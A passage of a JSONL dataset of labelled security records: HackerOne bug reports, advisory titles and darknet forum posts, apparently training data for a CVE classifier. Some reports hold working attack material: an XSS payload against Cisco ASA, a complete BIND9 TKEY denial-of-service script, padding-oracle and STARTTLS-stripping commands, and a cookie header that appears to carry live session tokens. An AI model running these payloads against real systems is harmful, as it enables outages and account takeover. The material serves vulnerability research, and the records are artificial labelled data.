References\nhttps://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-xss-multiple-FCB3vPZe\n\n## Impact\n\nWith this vulnerability, an attacker can for example steal users cookies or redirect users on malicious website.\n\n## System Host(s)\n██████████\n\n## Affected Product(s) and Version(s)\nCisco ASA\n\n## CVE Numbers\nCVE-2020-3580\n\n## Steps to Reproduce\nsend a POST request from browser: \n\nPOST /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1\nHost: █████\nConnection: close\nsec-ch-ua: \" Not;A Brand\";v=\"99\", \"Google Chrome\";v=\"91\", \"Chromium\";v=\"91\"\nsec-ch-ua-mobile: ?0\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nSec-Fetch-Site: none\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nContent-Length: 40\n\nSAMLResponse=\"><svg/onload=alert('xss')>\n\n## Suggested Mitigation/Remediation Actions\nPatch Cisco ASA : https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-xss-multiple-FCB3vPZe", "source": "hackerone", "timestamp": "2021-09-29", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "a96f04275fc42e8cd747", "text": "iGallery Plugin v1.0.0 (dir) Remote Cross-Site Scripting Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2011-09-17", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "4b9706a1788ef7d9f984", "text": "[Cryptographic Issues - Generic] [HTAF4-213] [Pre-submission] CVE-2018-2879 (padding oracle attack in the Oracle Access Manager) at https://█████████\n\n##Description\nWe were able to identify CVE-2018-2879 in Oracle Access Manager, used on the https://██████\nLink to the CVE: https://nvd.nist.gov/vuln/detail/CVE-2018-2879\nThis vulnerability is rated critical, and may allow unauthenticated attacker with network access via HTTP to compromise Oracle Access Manager.\nIt's possible to conduct padding oracle attack and recover plaintext from `encquery` parameter\nMaterials:\nhttps://sec-consult.com/en/blog/2018/05/oracle-access-managers-identity-crisis/\n\n##POC\nWe modified https://github.com/redtimmy/OAMBuster/blob/master/oambuster.py proof-of concept for https://█████ (it required some changes, for example `gcds-consent=true` is necessary in all requests to not face with consent banner page.\nHere is it:\n█████████\nIt can be launched in the next way to simply test for padding oracle and recover plaintext:\n```\noambuster.py -d https://██████████\n```\nThe result (decrypt process can take some time, for example on the screenshot above it's not fully finished, but you can already see readable parts):\n███████\n\nThis confirms that vulnerability is valid.\n\n##Suggested fix\nApply patch & update OAM instance\n\n## Impact\n\nPadding oracle attack allows us to decrypt any messages. As all the encrypted messages (encquery, encreply, OAMAuthnCookie) are encrypted with the same key, we can decrypt any of these messages.\nThis attack can also be used to encrypt messages. So if we construct a valid authentication cookie and encrypt it with our padding oracle attack, we can pass it off as valid to the web server and perform authentication bypass. \n\nWe will research this further and will update report with new information.", "source": "hackerone", "timestamp": "2021-07-29", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "f65d1f1690050fde691a", "text": "[Unknown] Bypass Filter on link of build\n\n## Summary:\nHello team, I found that a valid build will have a link with the following format\n\n```\nhttps://3d.cs.money/item/0UkWN8vh2R\n```\n\nIf you save a build with `/api/build/save`. It will return a link to sync with your save builds\nThe bug occurs when web app sync, you can custom the link of build with whatever you want with the format \n\n```\n//YOUR_LINK/item/WHAT_EVER_YOU_WANT\n```\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n- Make a build. Save build. Intercept request sync\n- Edit request sync. For example:\n\n```\nPOST /sync HTTP/1.1\nHost: 3d.cs.money\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0\nAccept: application/json, text/plain, */*\nAccept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3\nContent-Type: application/json;charset=utf-8\nContent-Length: 3455\nOrigin: https://3d.cs.money\nConnection: close\nReferer: https://3d.cs.money/item/0UkWN8vh2R\nCookie: __cfduid=dd4a5ae822200c2e5a6622942c8e9b5c61600828055; TEST_GROUP=6; UUID3D=z8yNnunP7rEULv4; _ga=GA1.1.123687832.1600828067; _ga_HY7CCPCD7H=GS1.1.1600999331.12.1.1600999740.56; _gid=GA1.2.745101638.1600828070; language=en; sellerid=2351662; theme=darkTheme; pro_version=false; tmr_reqNum=84; tmr_lvid=a86af86a1e546621ee998805dedf795e; tmr_lvidTS=1600829462593; _ym_uid=1600829464576681153; _ym_d=1600829464; prism_89846284=886529b3-1b72-491d-8e3e-fb061941ce6b; amplitude_id_222f15bd4f15cdfaee99c07bcc641e5fcs.money=eyJkZXZpY2VJZCI6ImJlNWM1YjhmLWE3OTQtNDZiNC1iMzg5LWU2MzljYThkZTNiNlIiLCJ1c2VySWQiOiI3NjU2MTE5ODM4OTQwODM5MiIsIm9wdE91dCI6ZmFsc2UsInNlc3Npb25JZCI6MTYwMDk1MzY5NTUyOCwibGFzdEV2ZW50VGltZSI6MTYwMDk1Mzc5MzEyNywiZXZlbnRJZCI6NDAsImlkZW50aWZ5SWQiOjE4LCJzZXF1ZW5jZU51bWJlciI6NTh9; _fbp=fb.1.1600829468046.1736484188; csmoney_ga=GA1.2.348732095.1600829528; csmoney_ga_gid=GA1.2.929098124.1600829528; type_device=desktop; support_token=6f4a7515e3000799c5b9ffc20b3bdb808e065ec4a7d77c557bf14b72922136d9; amplitude_id_c14fa5162b6e034d1c3b12854f3a26f5cs.money=eyJkZXZpY2VJZCI6IjU0MTdhZjg4LTE0NDgtNDg3NC05YmNkLTFmMjczOGIwY2EyZFIiLCJ1c2VySWQiOiI3NjU2MTE5ODM4OTQwODM5MiIsIm9wdE91dCI6ZmFsc2UsInNlc3Npb25JZCI6MTYwMDk1MzYyMjg4MSwibGFzdEV2ZW50VGltZSI6MTYwMDk1MzYyMjg4MywiZXZlbnRJZCI6Mjk5LCJpZGVudGlmeUlkIjo0LCJzZXF1ZW5jZU51bWJlciI6MzAzfQ==; amp_d77dd0=nCXsKPRaEaZ_9OrPDjz6cM...1ej04bc91.1ej04d4lf.0.1.1; amp_d77dd0_cs.money=nCXsKPRaEaZ_9OrPDjz6cM...1ej04bc98.1ej04frr7.1p.2.1q; steamid=76561198389408392; avatar=https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars/9e/9e972864d883f1b2e12cde94c8f83ef005c22438_medium.jpg; username=khoadeptrai; thirdparty_token=83a3e70e33f5a91ced64ee3a0fd005d80e119cb762c2d82449707c0eba6efcf1; trade_link=https%3A%2F%2Fsteamcommunity.com%2Ftradeoffer%2Fnew%2F%3Fpartner%3D429142664%26token%3DI1hTESVQ; _privy_undefined=%7B%22uuid%22%3A%22aa550b56-d1d7-425a-a4f8-28b3b53d6a71%22%7D; _privy_0A13181283E3DE28238D8AB1=%7B%22uuid%22%3A%22aa550b56-d1d7-425a-a4f8-28b3b53d6a71%22%2C%22variations%22%3A%7B%7D%2C%22country_code%22%3A%22VN%22%2C%22region_code%22%3A%22VN_35%22%2C%22postal_code%22%3A%22%22%7D\n\n{\"backgrounds\":[\"/assets/images/back3.jpeg\"],\"builds\":[{\"href\":\"//asd.com/item1/cc\",\"name\":\"AK-47 | Redline (Minimal Wear)\\\"\",\"date\":1601000408019}],\"edition\":1}\n```\n\nPoC\n{F1002083}\n\n## Impact\n\nBypass the format (regex?) on the link of a build", "source": "hackerone", "timestamp": "2020-09-28", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "9fd03e6bd8d47d40e4c1", "text": "Pixelpost 1.7.3 Multiple POST Variables SQL Injection Vulnerability\n\nSeverity: high", "source": "zeroscience", "timestamp": "2011-02-11", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "927c0b5ee2e8b36aeaf5", "text": "InfraPower PPS-02-S Q213V1 Insecure Direct Object Reference Authorization Bypass\n\nSeverity: high", "source": "zeroscience", "timestamp": "2016-10-28", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "76317d8c0faaa0461309", "text": "[Cryptographic Issues - Generic] imap: StartTLS stripping attack (CVE-2016-0772).\n\n`net/imap` does not seem to raise an exception when the remote end (imap server) fails to respond with `tagged_response` (NO/BAD) or `OK` to an explicit call of `imap.starttls`. This may allow a malicious MITM to perform a starttls stripping attack if the client code does not explicitly set `usessl = true` on ` initialize` where it is disabled by default: it is rarely done as one might expect that `starttls` raises an exception when starttls negotiation fails (like when using `usessl` on a server that does not support it or when it fails to negotiate tls due to an ssl exception/cipher mismatch/auth fail).\n\nThe vulnerable code:\n```ruby\n def starttls(options = {}, verify = true)\n send_command(\"STARTTLS\") do |resp|\n if resp.kind_of?(TaggedResponse) && resp.name == \"OK\"\n begin\n # for backward compatibility\n certs = options.to_str\n options = create_ssl_params(certs, verify)\n rescue NoMethodError\n end\n start_tls_session(options)\n end # <--- End of handling :)\n end\n end\n```\n\n# PoC\n\nFor instance, we have the following client code:\n```ruby\nrequire 'net/imap'\n\nimap = Net::IMAP.new('0.0.0.0', 9999)\nimap.starttls\nimap.login('myLOGIN','myPASSWORD') # test login\n#imap.authenticate('LOGIN', 'joe_user', 'joes_password') # test auth\nimap.disconnect\n```\nStart the proxy: `python striptls.py -l 0.0.0.0:9999 -r imap.yandex.ru:143 -x IMAP.StripWithError`\n (See `striptls.py` in attachments).\n\nProxy output:\n```bash\n$ python striptls.py -l 0.0.0.0:9999 -r imap.yandex.ru:143 -x IMAP.StripWithError\n2021-04-28 18:43:27,286 - INFO - <Session 0x7fd5850b3c10> client ('127.0.0.1', 39154) has connected\n2021-04-28 18:43:27,286 - INFO - <Session 0x7fd5850b3c10> connecting to target ('imap.yandex.ru', 143)\n2021-04-28 18:43:27,347 - DEBUG - <Session 0x7fd5850b3c10> [client] <= [server] '* OK Yandex IMAP4rev1 at myt3-8d2078fedea5.qloud-c.yandex.net:143 ready to talk with ::ffff:188.138.209.162:62549, 2021-Apr-28 18:43:52, qheZ7J3friE1\\r\\n'\n2021-04-28 18:43:27,348 - DEBUG - <RewriteDispatcher - changed mangle: __main__.StripWithError new: True>\n2021-04-28 18:43:27,348 - DEBUG - <Session 0x7fd5850b3c10> [client] => [server] 'RUBY0001 STARTTLS\\r\\n'\n2021-04-28 18:43:27,349 - DEBUG - <Session 0x7fd5850b3c10> [client] <= [server][mangled] 'RUBY0001 BUG unhandled command\\r\\n'\n2021-04-28 18:43:27,349 - DEBUG - <Session 0x7fd5850b3c10> [client] => [server][mangled] None\n2021-04-28 18:43:27,349 - DEBUG - <Session 0x7fd5850b3c10> [client] => [server] 'RUBY0002 LOGIN myLOGIN myPASSWORD\\r\\n'\n...\n```\nAs you can see, `starttls` did not return any error to the client and `LOGIN` authentication started.\n`AUTH` is the same:\n```\n2021-04-28 18:47:00,579 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server] 'RUBY0001 STARTTLS\\r\\n'\n2021-04-28 18:47:00,579 - DEBUG - <Session 0x7fd5850b3dd0> [client] <= [server][mangled] 'RUBY0001 BUG unhandled command\\r\\n'\n2021-04-28 18:47:00,579 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server][mangled] None\n2021-04-28 18:47:00,579 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server] 'RUBY0002 AUTHENTICATE'\n2021-04-28 18:47:00,580 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server] ' LOGIN\\r\\n'\n2021-04-28 18:47:00,580 - DEBUG - <Session 0x7fd5850b3dd0> [client] <= [server][mangled] '+\\r\\n'\n2021-04-28 18:47:00,580 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server][mangled] None\n2021-04-28 18:47:00,580 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server] 'am9lX3VzZXI=\\r\\n'\n2021-04-28 18:47:00,580 - DEBUG - <Session 0x7fd5850b3dd0> [client] <= [server][mangled] '+ UGFzc3dvcmQ6\\r\\n'\n2021-04-28 18:47:00,580 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server][mangled] None\n2021-04-28 18:47:00,581 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server] 'am9lc19wYXNzd29yZA==\\", "source": "hackerone", "timestamp": "2021-07-08", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "aafa8db113aae3320d8e", "text": "[Information Disclosure] apps.owncloud.com: Mixed Active Scripting Issue\n\nI come across HTTPS security issue - compromises HTTPS security by loading images from non secure source in https://apps.owncloud.com/.\r\n\r\nVulnerability Type: Mixed Active Scripting Issue\r\n\r\nDescription: \r\nMixed Active Content is content that has access to and can affect all or parts of the Document Object Model (DOM) of an HTTPS page. This type of mixed content can alter the behavior of an HTTPS page and potentially steal sensitive data from the user. Hence, in addition to the risks for Mixed Passive Content, Mixed Active Content is also exposed to a number of additional attack vectors. \r\nA MITM attacker can intercept requests for HTTP active content. The attacker can then re-write the response to include malicious JavaScript /fonts code. Malicious script can steal the user’s credentials, acquire sensitive data about the user, or attempt to install malware on the user’s system (by leveraging vulnerable plugins the user has installed, for example).\r\n\r\nCriticality level: Medium\r\n\r\nCriticality level justification: \r\nData which is transmitted in this link could be read by An attacker who is in Same network in some cases this could help to steal information.\r\n\r\nSteps:\r\n1) Visit link https://apps.owncloud.com/ \r\n2) Press F12 to open Developers tool in Google Chrome OR IE OR in Firefox browser and observe console. You will come across security error - \"A Secure Hypertext Transfer Protocol (HTTPS) page has content from a non-secure source.\r\n\r\nMixed content security error messages: : Google Chrome = \r\nMixed Content: The page at 'https://apps.owncloud.com/' was loaded over HTTPS, but requested an insecure image 'http://gnome-look.org/img/message_info.png'. This content should also be served over HTTPS.\r\n\r\n\r\nScenario: \r\nThere are 3 easy steps to attack the user through a mixed content vulnerability… \r\n1) Set-up a Man-in-the-Middle attack. These are most easily done on public networks such as those in coffee shops or airports. \r\n2) Use a mixed content vulnerability to inject a malicious javascript file. Malicious code will run in an HTTPS website that the user browsers to. The key point is that the HTTPS site has a mixed content vulnerability on it, which means that it executes content downloaded over HTTP. This is where the Man-in-the-Middle attack and Mixed Content vulnerability combine into a dangerous scenario. \r\n“If some attacker is able to either tamper with Javascript or stylesheet files he can effectively also tamper with the other content on your page (e.g. by modifying the DOM ). So it’s either all or nothing. Either all of your elements are served using SSL, then you are secure. Or you load some Javascript or stylesheet files from a plain HTTP connection, then you aren’t secure anymore.” \r\n3) Steal the user’s identity (or do other bad things).\r\n\r\nSolution :: \r\nMake sure all content in the page including images, js, fonts are from HTTPS sources.\r\n\r\nReference : http://msdn.microsoft.com/en-us/library/ie/dn423949(v=vs.85).aspx \r\nVideo :: http://www.youtube.com/watch?v=zEV3HOuM_Vw\r\n\r\nLet me know if you need more details.", "source": "hackerone", "timestamp": "2015-10-11", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "01832bf3941170a58343", "text": "[Unknown] Information disclosure same issue #176002\n\nHI,\n\nReference :- #176002\n\nPeople use 2fa to protect his / her account from unwanted access and for getting secure from information leak.\n\nyou were displaying the last 4 digits of a user's phone number after login (e.g. \"we've send a code to xxx-1234\").\n\nIndustry standard is to show 2 digits instead of 4 digits.\n\nKind Regards !", "source": "hackerone", "timestamp": "2017-07-21", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "58561083ae1b77ad78a8", "text": "Wowza Streaming Engine 4.5.0 Remote Privilege Escalation Exploit\n\nSeverity: high", "source": "zeroscience", "timestamp": "2016-07-19", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "4f7c834db7453f9d2121", "text": "FTPShell Server 4.3 (licence key) Remote Buffer Overflow PoC\n\nSeverity: low", "source": "zeroscience", "timestamp": "2009-01-22", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "75755eda5595ec3c7ae3", "text": "KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Unauthenticated Log Disclosure\n\nSeverity: high", "source": "zeroscience", "timestamp": "2021-03-18", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "9ec550a6c68cc106e591", "text": "[Uncontrolled Resource Consumption] grtp.co is vulnerable to http-vuln-cve2011-3192\n\nvulnerability i have found!\n\n| http-vuln-cve2011-3192: \n\n| VULNERABLE:\n\n| Apache byterange filter DoS\n\n| State: VULNERABLE\n\n| IDs: CVE:CVE-2011-3192 OSVDB:74721\n\n| The Apache web server is vulnerable to a denial of service attack when numerous\n\n| overlapping byte ranges are requested.\n\n| Disclosure date: 2011-08-19\n\nAbout Vulnerability\n\nThe byterange filter in the Apache HTTP Server 2.0.x through 2.0.64, and 2.2.x through 2.2.19 allows remote attackers to cause a denial of service (memory and CPU consumption) via a Range header that expresses multiple overlapping ranges, exploit called \"Apache Killer\"\n\ni have tested it using nmap and metasploit and is 100% vulnerable\nwhen i found it i tested it in metasploit i used auxiliary/dos/http/apache_range_dos", "source": "hackerone", "timestamp": "2016-02-12", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "0ef0a8936de6e4127f52", "text": "[Evolution] Coca Leaves\n\n100,000 coca leaves i think is needed to make 1 kilowhats the amounts u can get and what prices pm me i am interested only if its the real deal", "source": "gayanku", "timestamp": "2014-08-02", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "43ea3fa5fd0ac058af54", "text": "[Unknown] Buffer over-read in exif_read_data with TIFF IFD tag\n\nhttps://bugs.php.net/bug.php?id=70385", "source": "hackerone", "timestamp": "2015-09-01", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "f253ea652653b41f8095", "text": "[Uncontrolled Resource Consumption] owncloud.com: CVE-2015-5477 BIND9 TKEY Vulnerability + Exploit (Denial of Service)\n\nowncloud.com appears to be vulnerable to CVE-2015-5477 based on the running version of BIND. This allows attackers to launch Denial of Service attacks against owncloud.com which would result in the owncloud server to stop responding and even reboot. It is recommended to upgrade to the latest version of ISC Bind. \r\n\r\nNMap Scan Results:\r\nStarting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-09-15 14:37 EDT\r\nWarning: 50.30.33.235 giving up on port because retransmission cap hit (6).\r\nNmap scan report for owncloud.com (50.30.33.235)\r\nHost is up (0.041s latency).\r\nrDNS record for 50.30.33.235: www.owncloud.com\r\nNot shown: 993 closed ports, 3 filtered ports\r\nPORT STATE SERVICE VERSION\r\n22/tcp open ssh OpenSSH 5.8 (protocol 2.0)\r\n| ssh-hostkey: \r\n| 1024 96:ad:80:e0:cb:33:02:47:67:6b:1c:f1:29:7e:e7:c6 (DSA)\r\n| 1024 68:ee:34:57:52:e5:fe:7b:7b:32:86:d9:99:57:08:73 (RSA)\r\n|_ 256 fb:b8:b5:5b:7a:b2:46:61:f2:87:e7:2b:0d:c7:bc:2d (ECDSA)\r\n53/tcp open domain\r\n| dns-nsid: \r\n|_ bind.version: 9.9.4-rpz2.13269.14-P2\r\n\r\n\r\nExploit PoC:\r\n# Exploit Title: PoC for BIND9 TKEY DoS\r\n# Exploit Author: elceef\r\n# Software Link: https://github.com/elceef/tkeypoc/\r\n# Version: ISC BIND 9\r\n# Tested on: multiple\r\n# CVE : CVE-2015-5477\r\n \r\n#!/usr/bin/env python\r\n \r\nimport socket\r\nimport sys\r\n \r\nprint('CVE-2015-5477 BIND9 TKEY PoC')\r\n \r\nif len(sys.argv) < 2:\r\n print('Usage: ' + sys.argv[0] + ' [target]')\r\n sys.exit(1)\r\n \r\nprint('Sending packet to ' + sys.argv[1] + ' ...')\r\n \r\npayload = bytearray('4d 55 01 00 00 01 00 00 00 00 00 01 03 41 41 41 03 41 41 41 00 00 f9 00 ff 03 41 41 41 03 41 41 41 00 00 0a 00 ff 00 00 00 00 00 09 08 41 41 41 41 41 41 41 41'.replace(' ', '').decode('hex')) \r\n \r\nsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\r\nsock.sendto(payload, (sys.argv[1], 53))\r\n \r\nprint('Done.')\r\n\r\n\r\nCVE Details:\r\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5477", "source": "hackerone", "timestamp": "2015-09-16", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "5180e457a68474711685", "text": "[Open Redirect] Logical Vulnerability : REDIRECTING on pw.mail.ru by Parameter Spoofing\n\nHi Mail.ru,\n\nI was surfing in your website and i was trying to find a Reflected Cross-site Scripting Vulnerability , So i was trying to find a way to inject my payload in a LINK .\n\nWhile Surfing i've found this link : https://pw.mail.ru/validate/index.html?ref_url=pw.mail.ru \n> Screenshot : http://i.imgur.com/3GIieDr.png\n\nAnd i was wondering :\n>How could pw.mail.ru needs a verification from the Captcha BOT ? \n>If it needs a verification , all of the domains needs verification and it should be a DESIGN Issue .\n\nSo i tried to change the \"?ref_udr=\" parameter from \"?ref_udr=pw.mail.ru\" to \"?ref_udr=google.com\" , and i was expecting a block for this Parameter but the surprise is it didn't blocked and it gives me the same CAPTCHA interface which i saw in ?ref_udr=pw.mail.ru\n>Screenshot : http://i.imgur.com/iXWVTfy.png\n\nSo i have writed the captcha and redirected with any problem to google.com\n\nPOC video : \" REDIRECT-POC-MAILRU.webm\n\nBest regards,\n\nOthmane Tamagart", "source": "hackerone", "timestamp": "2017-08-21", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "0cf3081cde3cf7ba1aeb", "text": "eXV² Content Management System 2.10 Remote XSS Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2010-10-15", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "936525259cf2441455ed", "text": "[Agora] until agora fixes its shit ill be going to evolution\n\nQuote from: VerdeLimon on August 30 2014 07:01:05 PMQuote from: SuperMario on August 30 2014 09:22:03 AMQuote from: worldwideweed on August 29 2014 06:13:45 PMAgora has never let us down i just feel they are not serious about this site. I feel its simply a income earner and may have other things on the go.You think a Tor hidden service with 100K+ active users logging in browsing refreshing etc. multiple times per day (vendors: \"do I have new orders or released escrow?\"; buyers: \"Did he mark my order shipped yet\" \"Did he read my PM yet *refresh* \"nope\" *refresh* \"nope\"; and all of the above plus everyone else who just wants to see the referrals roll in. When connections to a single URL are so numerous and active it can result in a \"friendly DoS\" (ie no \"attacker\" just overloaded relays due to high user activity).Friendly DoS's are manageable to some degree but when a real \"attacker\" aims a botnet DoS attack at a hidden service so as to coincide with peak user load use the problems stack and it can quickly render a site unable to respond to legitimate user requests - the target nodes are usually the Intro Points published by the site to HSDirectories and are needed for users to request the HS connect through a Rendezvous Point (a separate relay chosen by the user) which used for the connection between the user & HS site.Do you remember the barrage of DoS attacks that began in February (hmm who had just obsconsed with enough BTC to pay for lots of botnets attacks... think: what other significant darknet-related events happened in Feb 2014)? If there wasn't someone (or several someones) working their ass off 24/7 to maintain Agora SECURELY the site would have never recovered. And yet it did? Agora tweaked a few things here and there and overcame the onslaught.Do you remember the OpenSSL \"Heartbleed\" bug (CVE-2014-0160)? Tor dev. Roger Dingledine's blog post clearly stated \"Best practice would be to move to a new hidden-service address\". That was early/mid April and by that time. If Agora weren't serious why'd they take the extra precaution of following the Tor developer's advice?Was any other site that cautious? Is any other site confident enough in their accounting to show you a 30-day \"Balance History\" page where you can track the account balance and know it's accurate? -- that's a rhetorical question because I know little about the user interface on other sites and whether or not they have any such feature.And look at how secure their authentication is - they have safeguards to prevent brute-forcing passwords via repeated login attempts. They have a 2FA (which you MUST enable if you understand PGP well enough to decrypt messages made to your public key). And on top of that they implemented the Pincode correctly (unlike some ofther site I could mention) so that NO FUNDS can be spent or withdrawn without it.These guys are doing it right. No bullshit moderator accounts that work in tandem to manipulate and/or redirect forum conversations away from discussion of other markets. Have you found any censored words on Agora forum? SR2 has banned every Agora URL on the forum literally within minutes. But SR2 is a bad example because they are a definite honeypot/trap out to identify and eventually close in on their targets and offer them the opportunity for \"3 hots and a cot\" or else becoming an informant (which mean \"keep commiting your 'crimes' and we won't arrest you so long as you tell us about them and share any info that helps us capture/arrest others like yourself\").Evolution? It seems ok. BUT.... I cannot get over their morphing out of Tor Carding Forum in January when I know the FBI has been infiltrating the top administrative levels of online carding sites since at least 2006. They actually PAY real FBI agents to sit on their ass at a computer ALL DAY pretending to be carders/hackers/spammers. LE's long-term involvement in the online aspect of carding is reason enough - for me - to be very wary of Evo. Plus they allow FRIM to stay there and create a bullshit \"ve", "source": "gayanku", "timestamp": "2014-09-17", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "ea3fc5abae2913bc0e75", "text": "[Unknown] HTML5 cross-origin resource sharing\n\nIssue:  HTML5 cross-origin resource sharing\r\nHost:  https://staging.factlink.com\r\nPath:  /about\r\n\r\nIssue detail\r\nThe application implements an HTML5 cross-origin resource sharing (CORS) policy for this request which allows access from any domain. Allowing access from all domains means that any domain can perform two-way interaction with the application via this request. Unless the response consists only of unprotected public content, this policy is likely to present a security risk. \r\n\r\nRequest\r\nGET /about HTTP/1.1\r\nHost: staging.factlink.com\r\nAccept: */*\r\nAccept-Language: en\r\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)\r\nConnection: close\r\n\r\n\r\nResponse\r\n\r\nHTTP/1.1 200 OK\r\nServer: cloudflare-nginx\r\nDate: Tue, 27 May 2014 07:33:35 GMT\r\nContent-Type: text/html; charset=utf-8\r\nConnection: close\r\nAccess-Control-Allow-Origin: *\r\nAccess-Control-Request-Origin: *\r\nCache-Control: max-age=0, private, must-revalidate\r\nEtag: \"795aedd001353f0d22d06464c9bed415\"\r\nSet-Cookie: _FactlinkUI_session=MGovQUM2eEgwMGVpOXNlQ3VGUkhjM25qbUNNL1IraEZyWDJqNWZrS00xS3pLV0g4N2NzZGVJdml1ejVYNDZMQU9Ma1hiR2JMQ0orOXk0VzV5UTlsdzVMQytwTlJTbGFlbE9ZYUZGQzUrbVFEWEVYWkF2eHI4TU1pUTdMR3M2d2tnUE5oeWxub2J1L1ZpenRuNDBOaDNUMDl5ekhiNjQ3NXpZRUdnZG5qZmZaK2IwZ0xWQUU1eE55bDVuRmJXRWJKLS1oN0kzUHlERktoeDg1aVJrWlEyVnRBPT0%3D--28d1f4b8b8449a1d786d9e04d9ceceda18c13c98; path=/; secure; HttpOnly\r\nStatus: 200 OK\r\nStrict-Transport-Security: max-age=31536000\r\nX-Content-Type-Options: nosniff\r\nX-Request-Id: e979123f-857c-4a4d-b798-e60b959206ba\r\nX-Runtime: 0.055909\r\nX-Xss-Protection: 1; mode=block\r\nCF-RAY: 1310866ffa7203ac-SIN\r\nContent-Length: 10091\r\n\r\nIssue background\r\nThe HTML5 cross-origin resource sharing policy controls whether and how content running on other domains can perform two-way interaction with the domain which publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged in user. Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access. \r\nIssue remediation\r\nYou should review the domains which are allowed by the CORS policy in relation to any sensitive content within the application, and determine whether it is appropriate for the application to trust both the intentions and security posture of those domains.", "source": "hackerone", "timestamp": "2014-07-08", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "5f7944a7bc7301558213", "text": "[Information Exposure Through an Error Message] Lack of Input sanitization leads to database Character encoding configuration Disclosure\n\nSummary:\nEmail Input field during Register is not properly sanitized leads to sql error \n\n Steps To Reproduce:\n During Register use '💩' character in email field\n\n## Impact\n\nInformation Exposure Through an Error Message\n███████", "source": "hackerone", "timestamp": "2020-08-07", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "5bdde7e12fae49cd97ac", "text": "[Memory Corruption - Generic] EBCDIC overread (CVE-2016-2176)\n\nhttps://github.com/openssl/openssl/commit/ea96ad5a206b7b5f25dad230333e8ff032df3219", "source": "hackerone", "timestamp": "2016-05-03", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "44ff5ab995cbf5b0d42c", "text": "InfraPower PPS-02-S Q213V1 Unauthenticated Remote Root Command Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2016-10-28", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "124e5cb300a5fdfd4cd5", "text": "WEMS BEMS 21.3.1 Undocumented Backdoor Account\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2019-12-29", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "1f67b4150b384e4cd241", "text": "iSeeQ Hybrid DVR WH-H4 1.03R / 2.0.0.P (get_jpeg) Stream Disclosure\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2019-10-29", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "1d0f1146191f7fba6ff2", "text": "iManager Plugin v1.2.8 (d) Remote Arbitrary File Deletion Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2011-09-16", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "6ae199aeb55700be1c57", "text": "Unsniff Network Analyzer 1.0 (usnf) Local Heap Overflow PoC\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2009-04-06", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "19690e6d2e25235a88db", "text": "[Silk Road 1] GnuPG security flaw identified. Time to update.. GPG4win, GPA etc etc\n\nhttp://www.debian.org/security/2013/dsa-2730QuoteDebian 